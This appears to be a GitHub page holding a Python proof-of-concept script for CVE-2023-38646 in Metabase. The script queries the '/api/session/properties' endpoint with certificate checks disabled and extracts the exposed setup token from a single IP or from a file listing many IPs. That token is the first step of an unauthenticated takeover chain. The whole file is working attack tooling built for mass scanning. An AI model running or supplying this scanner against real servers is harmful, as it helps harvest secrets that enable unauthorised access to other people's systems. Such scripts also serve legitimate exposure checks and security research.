-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathCVE-2023-38646-POC.py
46 lines (39 loc) · 1.99 KB
/
CVE-2023-38646-POC.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import argparse
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def get_setup_token(ip_address, line_number=None):
endpoint = "/api/session/properties"
protocols = ['https://', 'http://']
for protocol in protocols:
url = f"{protocol}{ip_address}{endpoint}"
try:
response = requests.get(url, verify=False)
if response.status_code == 200:
data = response.json()
if "setup-token" in data and data["setup-token"] is not None:
print(f"{line_number}. Vulnerable Metabase Instance:-")
print(f" IP: {ip_address}")
print(f" Setup Token: {data['setup-token']}\n")
else:
print(f"{line_number}. Setup token not found or is null for IP: {ip_address}\n")
return # exit the function if request was successful
except requests.exceptions.RequestException as e:
print(f"Failed to connect using {protocol[:-3].upper()} for {ip_address}. Trying next protocol...")
print(f"{line_number}. Failed to connect to {ip_address} using both HTTP and HTTPS.\n")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Check setup token')
parser.add_argument('--ip', type=str, help='IP address')
parser.add_argument('--list', type=str, help='Filename containing list of IP addresses')
args = parser.parse_args()
if args.ip:
get_setup_token(args.ip)
elif args.list:
with open(args.list, 'r') as f:
for i, line in enumerate(f, start=1):
ip_address = line.strip()
get_setup_token(ip_address, i)
else:
print("Please provide either an IP address or a file containing a list of IP addresses.")